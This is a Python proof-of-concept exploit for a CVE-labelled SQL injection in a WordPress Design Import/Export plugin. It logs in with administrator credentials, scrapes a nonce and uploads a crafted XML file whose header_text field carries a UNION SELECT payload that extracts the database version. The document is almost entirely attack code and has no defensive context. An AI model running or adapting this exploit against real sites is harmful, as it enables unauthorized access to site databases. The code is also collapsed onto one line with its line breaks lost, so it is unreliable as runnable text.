CVE-2025-14050

import requests import sys from bs4 import BeautifulSoup # CVE-2025-14050 PoC - WordPress Design Import/Export Plugin SQL Injection # Target: WordPress site with Design Import/Export plugin <= 2.2 # Authentication: Requires administrator-level access TARGET_URL = "http://target-wordpress-site.com" USERNAME = "admin" PASSWORD = "password" def get_nonce(session, url): """Extract WordPress nonce from import page""" response = session.get(f"{url}/wp-admin/admin.php?page=design-import-export") soup = BeautifulSoup(response.text, 'html.parser') nonce_tag = soup.find('input', {'id': '_wpnonce'}) return nonce_tag['value'] if nonce_tag else None def create_malicious_xml(): """Generate malicious XML with SQL injection payload""" # SQL injection payload to extract database version payload = "' UNION SELECT 1,2,3,4,5,@@version,7,8,9,10,11,12,13,14,15,16-- -" xml_content = f'''<?xml version="1.0" encoding="UTF-8"?> <design_export> <theme_settings> <setting name="header_text">{payload}</setting> <setting name="footer_text">Legitimate Content</setting> </theme_settings> <widgets> <widget type="text"> <title>Sample Widget</title> <content>Widget content</content> </widget> </widgets> </design_export>''' return xml_content def exploit(): """Execute SQL injection exploit""" session = requests.Session() # Login to WordPress as admin login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': f"{TARGET_URL}/wp-admin/admin.php?page=design-import-export" } response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in session.cookies: print("[-] Authentication failed!") return False print("[+] Successfully authenticated as administrator") # Get nonce for import action nonce = get_nonce(session, TARGET_URL) if not nonce: print("[-] Failed to obtain nonce") return False print(f"[+] Obtained nonce: {nonce}") # Create malicious XML file malicious_xml = create_malicious_xml() # Upload malicious XML via import functionality import_url = f"{TARGET_URL}/wp-admin/admin.php?page=design-import-export&action=import" files = {'import_file': ('malicious_design.xml', malicious_xml, 'text/xml')} data = {'_wpnonce': nonce, 'submit': 'Import'} response = session.post(import_url, data=data, files=files) # Check for successful injection (response may contain database info) if '5.' in response.text or 'MariaDB' in response.text: print("[+] SQL Injection successful! Database version extracted.") return True print("[-] Exploit may have failed. Check response manually.") return False if __name__ == "__main__": print("="*60) print("CVE-2025-14050 SQL Injection Exploit") print("WordPress Design Import/Export Plugin <= 2.2") print("="*60) exploit()

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